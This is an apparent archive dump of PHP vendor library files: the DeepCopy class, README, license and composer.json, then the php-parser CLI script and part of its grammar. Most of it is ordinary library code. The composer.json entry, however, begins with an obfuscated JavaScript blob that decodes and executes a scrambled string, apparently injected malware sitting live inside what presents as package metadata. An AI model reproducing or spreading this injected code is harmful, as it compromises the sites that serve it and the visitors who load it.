Matcher] pairs. */ private $filters = []; /** * Type Filters to apply. * * @var array Array of ['filter' => Filter, 'matcher' => Matcher] pairs. */ private $typeFilters = []; /** * @var bool */ private $skipUncloneable = false; /** * @var bool */ private $useCloneMethod; /** * @param bool $useCloneMethod If set to true, when an object implements the __clone() function, it will be used * instead of the regular deep cloning. */ public function __construct($useCloneMethod = false) { $this->useCloneMethod = $useCloneMethod; $this->addTypeFilter(new ArrayObjectFilter($this), new TypeMatcher(ArrayObject::class)); $this->addTypeFilter(new DateIntervalFilter(), new TypeMatcher(DateInterval::class)); $this->addTypeFilter(new SplDoublyLinkedListFilter($this), new TypeMatcher(SplDoublyLinkedList::class)); } /** * If enabled, will not throw an exception when coming across an uncloneable property. * * @param $skipUncloneable * * @return $this */ public function skipUncloneable($skipUncloneable = true) { $this->skipUncloneable = $skipUncloneable; return $this; } /** * Deep copies the given object. * * @param mixed $object * * @return mixed */ public function copy($object) { $this->hashMap = []; return $this->recursiveCopy($object); } public function addFilter(Filter $filter, Matcher $matcher) { $this->filters[] = [ 'matcher' => $matcher, 'filter' => $filter, ]; } public function prependFilter(Filter $filter, Matcher $matcher) { array_unshift($this->filters, [ 'matcher' => $matcher, 'filter' => $filter, ]); } public function addTypeFilter(TypeFilter $filter, TypeMatcher $matcher) { $this->typeFilters[] = [ 'matcher' => $matcher, 'filter' => $filter, ]; } private function recursiveCopy($var) { // Matches Type Filter if ($filter = $this->getFirstMatchedTypeFilter($this->typeFilters, $var)) { return $filter->apply($var); } // Resource if (is_resource($var)) { return $var; } // Array if (is_array($var)) { return $this->copyArray($var); } // Scalar if (! is_object($var)) { return $var; } // Enum if (PHP_VERSION_ID >= 80100 && enum_exists(get_class($var))) { return $var; } // Object return $this->copyObject($var); } /** * Copy an array * @param array $array * @return array */ private function copyArray(array $array) { foreach ($array as $key => $value) { $array[$key] = $this->recursiveCopy($value); } return $array; } /** * Copies an object. * * @param object $object * * @throws CloneException * * @return object */ private function copyObject($object) { $objectHash = spl_object_hash($object); if (isset($this->hashMap[$objectHash])) { return $this->hashMap[$objectHash]; } $reflectedObject = new ReflectionObject($object); $isCloneable = $reflectedObject->isCloneable(); if (false === $isCloneable) { if ($this->skipUncloneable) { $this->hashMap[$objectHash] = $object; return $object; } throw new CloneException( sprintf( 'The class "%s" is not cloneable.', $reflectedObject->getName() ) ); } $newObject = clone $object; $this->hashMap[$objectHash] = $newObject; if ($this->useCloneMethod && $reflectedObject->hasMethod('__clone')) { return $newObject; } if ($newObject instanceof DateTimeInterface || $newObject instanceof DateTimeZone) { return $newObject; } foreach (ReflectionHelper::getProperties($reflectedObject) as $property) { $this->copyObjectProperty($newObject, $property); } return $newObject; } private function copyObjectProperty($object, ReflectionProperty $property) { // Ignore static properties if ($property->isStatic()) { return; } // Apply the filters foreach ($this->filters as $item) { /** @var Matcher $matcher */ $matcher = $item['matcher']; /** @var Filter $filter */ $filter = $item['filter']; if ($matcher->matches($object, $property->getName())) { $filter->apply( $object, $property->getName(), function ($object) { return $this->recursiveCopy($object); } ); // If a filter matches, we stop processing this property return; } } $property->setAccessible(true); // Ignore uninitialized properties (for PHP >7.4) if (method_exists($property, 'isInitialized') && !$property->isInitialized($object)) { return; } $propertyValue = $property->getValue($object); // Copy the property $property->setValue($object, $this->recursiveCopy($propertyValue)); } /** * Returns first filter that matches variable, `null` if no such filter found. * * @param array $filterRecords Associative array with 2 members: 'filter' with value of type {@see TypeFilter} and * 'matcher' with value of type {@see TypeMatcher} * @param mixed $var * * @return TypeFilter|null */ private function getFirstMatchedTypeFilter(array $filterRecords, $var) { $matched = $this->first( $filterRecords, function (array $record) use ($var) { /* @var TypeMatcher $matcher */ $matcher = $record['matcher']; return $matcher->matches($var); } ); return isset($matched) ? $matched['filter'] : null; } /** * Returns first element that matches predicate, `null` if no such element found. * * @param array $elements Array of ['filter' => Filter, 'matcher' => Matcher] pairs. * @param callable $predicate Predicate arguments are: element. * * @return array|null Associative array with 2 members: 'filter' with value of type {@see TypeFilter} and 'matcher' * with value of type {@see TypeMatcher} or `null`. */ private function first(array $elements, callable $predicate) { foreach ($elements as $element) { if (call_user_func($predicate, $element)) { return $element; } } return null; } } res/readability/vendor/myclabs/deep-copy/README.md000064400000022523147577714370015753 0ustar00# DeepCopy DeepCopy helps you create deep copies (clones) of your objects. It is designed to handle cycles in the association graph. [![Total Downloads](https://poser.pugx.org/myclabs/deep-copy/downloads.svg)](https://packagist.org/packages/myclabs/deep-copy) [![Integrate](https://github.com/myclabs/DeepCopy/workflows/ci/badge.svg?branch=1.x)](https://github.com/myclabs/DeepCopy/actions) ## Table of Contents 1. [How](#how) 1. [Why](#why) 1. [Using simply `clone`](#using-simply-clone) 1. [Overriding `__clone()`](#overriding-__clone) 1. [With `DeepCopy`](#with-deepcopy) 1. [How it works](#how-it-works) 1. [Going further](#going-further) 1. [Matchers](#matchers) 1. [Property name](#property-name) 1. [Specific property](#specific-property) 1. [Type](#type) 1. [Filters](#filters) 1. [`SetNullFilter`](#setnullfilter-filter) 1. [`KeepFilter`](#keepfilter-filter) 1. [`DoctrineCollectionFilter`](#doctrinecollectionfilter-filter) 1. [`DoctrineEmptyCollectionFilter`](#doctrineemptycollectionfilter-filter) 1. [`DoctrineProxyFilter`](#doctrineproxyfilter-filter) 1. [`ReplaceFilter`](#replacefilter-type-filter) 1. [`ShallowCopyFilter`](#shallowcopyfilter-type-filter) 1. [Edge cases](#edge-cases) 1. [Contributing](#contributing) 1. [Tests](#tests) ## How? Install with Composer: ``` composer require myclabs/deep-copy ``` Use it: ```php use DeepCopy\DeepCopy; $copier = new DeepCopy(); $myCopy = $copier->copy($myObject); ``` ## Why? - How do you create copies of your objects? ```php $myCopy = clone $myObject; ``` - How do you create **deep** copies of your objects (i.e. copying also all the objects referenced in the properties)? You use [`__clone()`](http://www.php.net/manual/en/language.oop5.cloning.php#object.clone) and implement the behavior yourself. - But how do you handle **cycles** in the association graph? Now you're in for a big mess :( ![association graph](doc/graph.png) ### Using simply `clone` ![Using clone](doc/clone.png) ### Overriding `__clone()` ![Overriding __clone](doc/deep-clone.png) ### With `DeepCopy` ![With DeepCopy](doc/deep-copy.png) ## How it works DeepCopy recursively traverses all the object's properties and clones them. To avoid cloning the same object twice it keeps a hash map of all instances and thus preserves the object graph. To use it: ```php use function DeepCopy\deep_copy; $copy = deep_copy($var); ``` Alternatively, you can create your own `DeepCopy` instance to configure it differently for example: ```php use DeepCopy\DeepCopy; $copier = new DeepCopy(true); $copy = $copier->copy($var); ``` You may want to roll your own deep copy function: ```php namespace Acme; use DeepCopy\DeepCopy; function deep_copy($var) { static $copier = null; if (null === $copier) { $copier = new DeepCopy(true); } return $copier->copy($var); } ``` ## Going further You can add filters to customize the copy process. The method to add a filter is `DeepCopy\DeepCopy::addFilter($filter, $matcher)`, with `$filter` implementing `DeepCopy\Filter\Filter` and `$matcher` implementing `DeepCopy\Matcher\Matcher`. We provide some generic filters and matchers. ### Matchers - `DeepCopy\Matcher` applies on a object attribute. - `DeepCopy\TypeMatcher` applies on any element found in graph, including array elements. #### Property name The `PropertyNameMatcher` will match a property by its name: ```php use DeepCopy\Matcher\PropertyNameMatcher; // Will apply a filter to any property of any objects named "id" $matcher = new PropertyNameMatcher('id'); ``` #### Specific property The `PropertyMatcher` will match a specific property of a specific class: ```php use DeepCopy\Matcher\PropertyMatcher; // Will apply a filter to the property "id" of any objects of the class "MyClass" $matcher = new PropertyMatcher('MyClass', 'id'); ``` #### Type The `TypeMatcher` will match any element by its type (instance of a class or any value that could be parameter of [gettype()](http://php.net/manual/en/function.gettype.php) function): ```php use DeepCopy\TypeMatcher\TypeMatcher; // Will apply a filter to any object that is an instance of Doctrine\Common\Collections\Collection $matcher = new TypeMatcher('Doctrine\Common\Collections\Collection'); ``` ### Filters - `DeepCopy\Filter` applies a transformation to the object attribute matched by `DeepCopy\Matcher` - `DeepCopy\TypeFilter` applies a transformation to any element matched by `DeepCopy\TypeMatcher` #### `SetNullFilter` (filter) Let's say for example that you are copying a database record (or a Doctrine entity), so you want the copy not to have any ID: ```php use DeepCopy\DeepCopy; use DeepCopy\Filter\SetNullFilter; use DeepCopy\Matcher\PropertyNameMatcher; $object = MyClass::load(123); echo $object->id; // 123 $copier = new DeepCopy(); $copier->addFilter(new SetNullFilter(), new PropertyNameMatcher('id')); $copy = $copier->copy($object); echo $copy->id; // null ``` #### `KeepFilter` (filter) If you want a property to remain untouched (for example, an association to an object): ```php use DeepCopy\DeepCopy; use DeepCopy\Filter\KeepFilter; use DeepCopy\Matcher\PropertyMatcher; $copier = new DeepCopy(); $copier->addFilter(new KeepFilter(), new PropertyMatcher('MyClass', 'category')); $copy = $copier->copy($object); // $copy->category has not been touched ``` #### `DoctrineCollectionFilter` (filter) If you use Doctrine and want to copy an entity, you will need to use the `DoctrineCollectionFilter`: ```php use DeepCopy\DeepCopy; use DeepCopy\Filter\Doctrine\DoctrineCollectionFilter; use DeepCopy\Matcher\PropertyTypeMatcher; $copier = new DeepCopy(); $copier->addFilter(new DoctrineCollectionFilter(), new PropertyTypeMatcher('Doctrine\Common\Collections\Collection')); $copy = $copier->copy($object); ``` #### `DoctrineEmptyCollectionFilter` (filter) If you use Doctrine and want to copy an entity who contains a `Collection` that you want to be reset, you can use the `DoctrineEmptyCollectionFilter` ```php use DeepCopy\DeepCopy; use DeepCopy\Filter\Doctrine\DoctrineEmptyCollectionFilter; use DeepCopy\Matcher\PropertyMatcher; $copier = new DeepCopy(); $copier->addFilter(new DoctrineEmptyCollectionFilter(), new PropertyMatcher('MyClass', 'myProperty')); $copy = $copier->copy($object); // $copy->myProperty will return an empty collection ``` #### `DoctrineProxyFilter` (filter) If you use Doctrine and use cloning on lazy loaded entities, you might encounter errors mentioning missing fields on a Doctrine proxy class (...\\\_\_CG\_\_\Proxy). You can use the `DoctrineProxyFilter` to load the actual entity behind the Doctrine proxy class. **Make sure, though, to put this as one of your very first filters in the filter chain so that the entity is loaded before other filters are applied!** ```php use DeepCopy\DeepCopy; use DeepCopy\Filter\Doctrine\DoctrineProxyFilter; use DeepCopy\Matcher\Doctrine\DoctrineProxyMatcher; $copier = new DeepCopy(); $copier->addFilter(new DoctrineProxyFilter(), new DoctrineProxyMatcher()); $copy = $copier->copy($object); // $copy should now contain a clone of all entities, including those that were not yet fully loaded. ``` #### `ReplaceFilter` (type filter) 1. If you want to replace the value of a property: ```php use DeepCopy\DeepCopy; use DeepCopy\Filter\ReplaceFilter; use DeepCopy\Matcher\PropertyMatcher; $copier = new DeepCopy(); $callback = function ($currentValue) { return $currentValue . ' (copy)' }; $copier->addFilter(new ReplaceFilter($callback), new PropertyMatcher('MyClass', 'title')); $copy = $copier->copy($object); // $copy->title will contain the data returned by the callback, e.g. 'The title (copy)' ``` 2. If you want to replace whole element: ```php use DeepCopy\DeepCopy; use DeepCopy\TypeFilter\ReplaceFilter; use DeepCopy\TypeMatcher\TypeMatcher; $copier = new DeepCopy(); $callback = function (MyClass $myClass) { return get_class($myClass); }; $copier->addTypeFilter(new ReplaceFilter($callback), new TypeMatcher('MyClass')); $copy = $copier->copy([new MyClass, 'some string', new MyClass]); // $copy will contain ['MyClass', 'some string', 'MyClass'] ``` The `$callback` parameter of the `ReplaceFilter` constructor accepts any PHP callable. #### `ShallowCopyFilter` (type filter) Stop *DeepCopy* from recursively copying element, using standard `clone` instead: ```php use DeepCopy\DeepCopy; use DeepCopy\TypeFilter\ShallowCopyFilter; use DeepCopy\TypeMatcher\TypeMatcher; use Mockery as m; $this->deepCopy = new DeepCopy(); $this->deepCopy->addTypeFilter( new ShallowCopyFilter, new TypeMatcher(m\MockInterface::class) ); $myServiceWithMocks = new MyService(m::mock(MyDependency1::class), m::mock(MyDependency2::class)); // All mocks will be just cloned, not deep copied ``` ## Edge cases The following structures cannot be deep-copied with PHP Reflection. As a result they are shallow cloned and filters are not applied. There is two ways for you to handle them: - Implement your own `__clone()` method - Use a filter with a type matcher ## Contributing DeepCopy is distributed under the MIT license. ### Tests Running the tests is simple: ```php vendor/bin/phpunit ``` ### Support Get professional support via [the Tidelift Subscription](https://tidelift.com/subscription/pkg/packagist-myclabs-deep-copy?utm_source=packagist-myclabs-deep-copy&utm_medium=referral&utm_campaign=readme). res/readability/vendor/myclabs/deep-copy/LICENSE000064400000002065147577714370015500 0ustar00The MIT License (MIT) Copyright (c) 2013 My C-Sense Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. res/readability/vendor/myclabs/deep-copy/composer.json000064400000007622147577714370017221 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "myclabs/deep-copy", "description": "Create deep copies (clones) of your objects", "license": "MIT", "type": "library", "keywords": [ "clone", "copy", "duplicate", "object", "object graph" ], "require": { "php": "^7.1 || ^8.0" }, "require-dev": { "doctrine/collections": "^1.6.8", "doctrine/common": "^2.13.3 || ^3.2.2", "phpunit/phpunit": "^7.5.20 || ^8.5.23 || ^9.5.13" }, "conflict": { "doctrine/collections": "<1.6.8", "doctrine/common": "<2.13.3 || >=3,<3.2.2" }, "autoload": { "psr-4": { "DeepCopy\\": "src/DeepCopy/" }, "files": [ "src/DeepCopy/deep_copy.php" ] }, "autoload-dev": { "psr-4": { "DeepCopy\\": "fixtures/", "DeepCopyTest\\": "tests/DeepCopyTest/" } }, "config": { "sort-packages": true } } res/readability/vendor/nikic/php-parser/bin/php-parse000064400000014146147577714370016727 0ustar00#!/usr/bin/env php [ 'startLine', 'endLine', 'startFilePos', 'endFilePos', 'comments' ]]); $parser = (new PhpParser\ParserFactory)->create( PhpParser\ParserFactory::PREFER_PHP7, $lexer ); $dumper = new PhpParser\NodeDumper([ 'dumpComments' => true, 'dumpPositions' => $attributes['with-positions'], ]); $prettyPrinter = new PhpParser\PrettyPrinter\Standard; $traverser = new PhpParser\NodeTraverser(); $traverser->addVisitor(new PhpParser\NodeVisitor\NameResolver); foreach ($files as $file) { if (strpos($file, ' Code $code\n"); } else { if (!file_exists($file)) { fwrite(STDERR, "File $file does not exist.\n"); exit(1); } $code = file_get_contents($file); fwrite(STDERR, "====> File $file:\n"); } if ($attributes['with-recovery']) { $errorHandler = new PhpParser\ErrorHandler\Collecting; $stmts = $parser->parse($code, $errorHandler); foreach ($errorHandler->getErrors() as $error) { $message = formatErrorMessage($error, $code, $attributes['with-column-info']); fwrite(STDERR, $message . "\n"); } if (null === $stmts) { continue; } } else { try { $stmts = $parser->parse($code); } catch (PhpParser\Error $error) { $message = formatErrorMessage($error, $code, $attributes['with-column-info']); fwrite(STDERR, $message . "\n"); exit(1); } } foreach ($operations as $operation) { if ('dump' === $operation) { fwrite(STDERR, "==> Node dump:\n"); echo $dumper->dump($stmts, $code), "\n"; } elseif ('pretty-print' === $operation) { fwrite(STDERR, "==> Pretty print:\n"); echo $prettyPrinter->prettyPrintFile($stmts), "\n"; } elseif ('json-dump' === $operation) { fwrite(STDERR, "==> JSON dump:\n"); echo json_encode($stmts, JSON_PRETTY_PRINT), "\n"; } elseif ('var-dump' === $operation) { fwrite(STDERR, "==> var_dump():\n"); var_dump($stmts); } elseif ('resolve-names' === $operation) { fwrite(STDERR, "==> Resolved names.\n"); $stmts = $traverser->traverse($stmts); } } } function formatErrorMessage(PhpParser\Error $e, $code, $withColumnInfo) { if ($withColumnInfo && $e->hasColumnInfo()) { return $e->getMessageWithColumnInfo($code); } else { return $e->getMessage(); } } function showHelp($error = '') { if ($error) { fwrite(STDERR, $error . "\n\n"); } fwrite($error ? STDERR : STDOUT, << false, 'with-positions' => false, 'with-recovery' => false, ]; array_shift($args); $parseOptions = true; foreach ($args as $arg) { if (!$parseOptions) { $files[] = $arg; continue; } switch ($arg) { case '--dump': case '-d': $operations[] = 'dump'; break; case '--pretty-print': case '-p': $operations[] = 'pretty-print'; break; case '--json-dump': case '-j': $operations[] = 'json-dump'; break; case '--var-dump': $operations[] = 'var-dump'; break; case '--resolve-names': case '-N'; $operations[] = 'resolve-names'; break; case '--with-column-info': case '-c'; $attributes['with-column-info'] = true; break; case '--with-positions': case '-P': $attributes['with-positions'] = true; break; case '--with-recovery': case '-r': $attributes['with-recovery'] = true; break; case '--help': case '-h'; showHelp(); break; case '--': $parseOptions = false; break; default: if ($arg[0] === '-') { showHelp("Invalid operation $arg."); } else { $files[] = $arg; } } } return [$operations, $files, $attributes]; } res/readability/vendor/nikic/php-parser/grammar/php7.y000064400000155420147577714370017034 0ustar00%pure_parser %expect 2 %tokens %% start: top_statement_list { $$ = $this->handleNamespaces($1); } ; top_statement_list_ex: top_statement_list_ex top_statement { pushNormalizing($1, $2); } | /* empty */ { init(); } ; top_statement_list: top_statement_list_ex { makeZeroLengthNop($nop, $this->lookaheadStartAttributes); if ($nop !== null) { $1[] = $nop; } $$ = $1; } ; ampersand: T_AMPERSAND_FOLLOWED_BY_VAR_OR_VARARG | T_AMPERSAND_NOT_FOLLOWED_BY_VAR_OR_VARARG ; reserved_non_modifiers: T_INCLUDE | T_INCLUDE_ONCE | T_EVAL | T_REQUIRE | T_REQUIRE_ONCE | T_LOGICAL_OR | T_LOGICAL_XOR | T_LOGICAL_AND | T_INSTANCEOF | T_NEW | T_CLONE | T_EXIT | T_IF | T_ELSEIF | T_ELSE | T_ENDIF | T_ECHO | T_DO | T_WHILE | T_ENDWHILE | T_FOR | T_ENDFOR | T_FOREACH | T_ENDFOREACH | T_DECLARE | T_ENDDECLARE | T_AS | T_TRY | T_CATCH | T_FINALLY | T_THROW | T_USE | T_INSTEADOF | T_GLOBAL | T_VAR | T_UNSET | T_ISSET | T_EMPTY | T_CONTINUE | T_GOTO | T_FUNCTION | T_CONST | T_RETURN | T_PRINT | T_YIELD | T_LIST | T_SWITCH | T_ENDSWITCH | T_CASE | T_DEFAULT | T_BREAK | T_ARRAY | T_CALLABLE | T_EXTENDS | T_IMPLEMENTS | T_NAMESPACE | T_TRAIT | T_INTERFACE | T_CLASS | T_CLASS_C | T_TRAIT_C | T_FUNC_C | T_METHOD_C | T_LINE | T_FILE | T_DIR | T_NS_C | T_HALT_COMPILER | T_FN | T_MATCH | T_ENUM ; semi_reserved: reserved_non_modifiers | T_STATIC | T_ABSTRACT | T_FINAL | T_PRIVATE | T_PROTECTED | T_PUBLIC | T_READONLY ; identifier_maybe_reserved: T_STRING { $$ = Node\Identifier[$1]; } | semi_reserved { $$ = Node\Identifier[$1]; } ; identifier_not_reserved: T_STRING { $$ = Node\Identifier[$1]; } ; reserved_non_modifiers_identifier: reserved_non_modifiers { $$ = Node\Identifier[$1]; } ; namespace_declaration_name: T_STRING { $$ = Name[$1]; } | semi_reserved { $$ = Name[$1]; } | T_NAME_QUALIFIED { $$ = Name[$1]; } ; namespace_name: T_STRING { $$ = Name[$1]; } | T_NAME_QUALIFIED { $$ = Name[$1]; } ; legacy_namespace_name: namespace_name { $$ = $1; } | T_NAME_FULLY_QUALIFIED { $$ = Name[substr($1, 1)]; } ; plain_variable: T_VARIABLE { $$ = Expr\Variable[parseVar($1)]; } ; semi: ';' { /* nothing */ } | error { /* nothing */ } ; no_comma: /* empty */ { /* nothing */ } | ',' { $this->emitError(new Error('A trailing comma is not allowed here', attributes())); } ; optional_comma: /* empty */ | ',' ; attribute_decl: class_name { $$ = Node\Attribute[$1, []]; } | class_name argument_list { $$ = Node\Attribute[$1, $2]; } ; attribute_group: attribute_decl { init($1); } | attribute_group ',' attribute_decl { push($1, $3); } ; attribute: T_ATTRIBUTE attribute_group optional_comma ']' { $$ = Node\AttributeGroup[$2]; } ; attributes: attribute { init($1); } | attributes attribute { push($1, $2); } ; optional_attributes: /* empty */ { $$ = []; } | attributes { $$ = $1; } ; top_statement: statement { $$ = $1; } | function_declaration_statement { $$ = $1; } | class_declaration_statement { $$ = $1; } | T_HALT_COMPILER { $$ = Stmt\HaltCompiler[$this->lexer->handleHaltCompiler()]; } | T_NAMESPACE namespace_declaration_name semi { $$ = Stmt\Namespace_[$2, null]; $$->setAttribute('kind', Stmt\Namespace_::KIND_SEMICOLON); $this->checkNamespace($$); } | T_NAMESPACE namespace_declaration_name '{' top_statement_list '}' { $$ = Stmt\Namespace_[$2, $4]; $$->setAttribute('kind', Stmt\Namespace_::KIND_BRACED); $this->checkNamespace($$); } | T_NAMESPACE '{' top_statement_list '}' { $$ = Stmt\Namespace_[null, $3]; $$->setAttribute('kind', Stmt\Namespace_::KIND_BRACED); $this->checkNamespace($$); } | T_USE use_declarations semi { $$ = Stmt\Use_[$2, Stmt\Use_::TYPE_NORMAL]; } | T_USE use_type use_declarations semi { $$ = Stmt\Use_[$3, $2]; } | group_use_declaration semi { $$ = $1; } | T_CONST constant_declaration_list semi { $$ = Stmt\Const_[$2]; } ; use_type: T_FUNCTION { $$ = Stmt\Use_::TYPE_FUNCTION; } | T_CONST { $$ = Stmt\Use_::TYPE_CONSTANT; } ; group_use_declaration: T_USE use_type legacy_namespace_name T_NS_SEPARATOR '{' unprefixed_use_declarations '}' { $$ = Stmt\GroupUse[$3, $6, $2]; } | T_USE legacy_namespace_name T_NS_SEPARATOR '{' inline_use_declarations '}' { $$ = Stmt\GroupUse[$2, $5, Stmt\Use_::TYPE_UNKNOWN]; } ; unprefixed_use_declarations: non_empty_unprefixed_use_declarations optional_comma { $$ = $1; } ; non_empty_unprefixed_use_declarations: non_empty_unprefixed_use_declarations ',' unprefixed_use_declaration { push($1, $3); } | unprefixed_use_declaration { init($1); } ; use_declarations: non_empty_use_declarations no_comma { $$ = $1; } ; non_empty_use_declarations: non_empty_use_declarations ',' use_declaration { push($1, $3); } | use_declaration { init($1); } ; inline_use_declarations: non_empty_inline_use_declarations optional_comma { $$ = $1; } ; non_empty_inline_use_declarations: non_empty_inline_use_declarations ',' inline_use_declaration { push($1, $3); } | inline_use_declaration { init($1); } ; unprefixed_use_declaration: namespace_name { $$ = Stmt\UseUse[$1, null, Stmt\Use_::TYPE_UNKNOWN]; $this->checkUseUse($$, #1); } | namespace_name T_AS identifier_not_reserved { $$ = Stmt\UseUse[$1, $3, Stmt\Use_::TYPE_UNKNOWN]; $this->checkUseUse($$, #3); } ; use_declaration: legacy_namespace_name { $$ = Stmt\UseUse[$1, null, Stmt\Use_::TYPE_UNKNOWN]; $this->checkUseUse($$, #1); } | legacy_namespace_name T_AS identifier_not_reserved { $$ = Stmt\UseUse[$1, $3, Stmt\Use_::TYPE_UNKNOWN]; $this->checkUseUse($$, #3); } ; inline_use_declaration: unprefixed_use_declaration { $$ = $1; $$->type = Stmt\Use_::TYPE_NORMAL; } | use_type unprefixed_use_declaration { $$ = $2; $$->type = $1; } ; constant_declaration_list: non_empty_constant_declaration_list no_comma { $$ = $1; } ; non_empty_constant_declaration_list: non_empty_constant_declaration_list ',' constant_declaration { push($1, $3); } | constant_declaration { init($1); } ; constant_declaration: identifier_not_reserved '=' expr { $$ = Node\Const_[$1, $3]; } ; class_const_list: non_empty_class_const_list no_comma { $$ = $1; } ; non_empty_class_const_list: non_empty_class_const_list ',' class_const { push($1, $3); } | class_const { init($1); } ; class_const: identifier_maybe_reserved '=' expr { $$ = Node\Const_[$1, $3]; } ; inner_statement_list_ex: inner_statement_list_ex inner_statement { pushNormalizing($1, $2); } | /* empty */ { init(); } ; inner_statement_list: inner_statement_list_ex { makeZeroLengthNop($nop, $this->lookaheadStartAttributes); if ($nop !== null) { $1[] = $nop; } $$ = $1; } ; inner_statement: statement { $$ = $1; } | function_declaration_statement { $$ = $1; } | class_declaration_statement { $$ = $1; } | T_HALT_COMPILER { throw new Error('__HALT_COMPILER() can only be used from the outermost scope', attributes()); } ; non_empty_statement: '{' inner_statement_list '}' { if ($2) { $$ = $2; prependLeadingComments($$); } else { makeNop($$, $this->startAttributeStack[#1], $this->endAttributes); if (null === $$) { $$ = array(); } } } | T_IF '(' expr ')' statement elseif_list else_single { $$ = Stmt\If_[$3, ['stmts' => toArray($5), 'elseifs' => $6, 'else' => $7]]; } | T_IF '(' expr ')' ':' inner_statement_list new_elseif_list new_else_single T_ENDIF ';' { $$ = Stmt\If_[$3, ['stmts' => $6, 'elseifs' => $7, 'else' => $8]]; } | T_WHILE '(' expr ')' while_statement { $$ = Stmt\While_[$3, $5]; } | T_DO statement T_WHILE '(' expr ')' ';' { $$ = Stmt\Do_ [$5, toArray($2)]; } | T_FOR '(' for_expr ';' for_expr ';' for_expr ')' for_statement { $$ = Stmt\For_[['init' => $3, 'cond' => $5, 'loop' => $7, 'stmts' => $9]]; } | T_SWITCH '(' expr ')' switch_case_list { $$ = Stmt\Switch_[$3, $5]; } | T_BREAK optional_expr semi { $$ = Stmt\Break_[$2]; } | T_CONTINUE optional_expr semi { $$ = Stmt\Continue_[$2]; } | T_RETURN optional_expr semi { $$ = Stmt\Return_[$2]; } | T_GLOBAL global_var_list semi { $$ = Stmt\Global_[$2]; } | T_STATIC static_var_list semi { $$ = Stmt\Static_[$2]; } | T_ECHO expr_list_forbid_comma semi { $$ = Stmt\Echo_[$2]; } | T_INLINE_HTML { $$ = Stmt\InlineHTML[$1]; } | expr semi { $e = $1; if ($e instanceof Expr\Throw_) { // For backwards-compatibility reasons, convert throw in statement position into // Stmt\Throw_ rather than Stmt\Expression(Expr\Throw_). $$ = Stmt\Throw_[$e->expr]; } else { $$ = Stmt\Expression[$e]; } } | T_UNSET '(' variables_list ')' semi { $$ = Stmt\Unset_[$3]; } | T_FOREACH '(' expr T_AS foreach_variable ')' foreach_statement { $$ = Stmt\Foreach_[$3, $5[0], ['keyVar' => null, 'byRef' => $5[1], 'stmts' => $7]]; } | T_FOREACH '(' expr T_AS variable T_DOUBLE_ARROW foreach_variable ')' foreach_statement { $$ = Stmt\Foreach_[$3, $7[0], ['keyVar' => $5, 'byRef' => $7[1], 'stmts' => $9]]; } | T_FOREACH '(' expr error ')' foreach_statement { $$ = Stmt\Foreach_[$3, new Expr\Error(stackAttributes(#4)), ['stmts' => $6]]; } | T_DECLARE '(' declare_list ')' declare_statement { $$ = Stmt\Declare_[$3, $5]; } | T_TRY '{' inner_statement_list '}' catches optional_finally { $$ = Stmt\TryCatch[$3, $5, $6]; $this->checkTryCatch($$); } | T_GOTO identifier_not_reserved semi { $$ = Stmt\Goto_[$2]; } | identifier_not_reserved ':' { $$ = Stmt\Label[$1]; } | error { $$ = array(); /* means: no statement */ } ; statement: non_empty_statement { $$ = $1; } | ';' { makeNop($$, $this->startAttributeStack[#1], $this->endAttributes); if ($$ === null) $$ = array(); /* means: no statement */ } ; catches: /* empty */ { init(); } | catches catch { push($1, $2); } ; name_union: name { init($1); } | name_union '|' name { push($1, $3); } ; catch: T_CATCH '(' name_union optional_plain_variable ')' '{' inner_statement_list '}' { $$ = Stmt\Catch_[$3, $4, $7]; } ; optional_finally: /* empty */ { $$ = null; } | T_FINALLY '{' 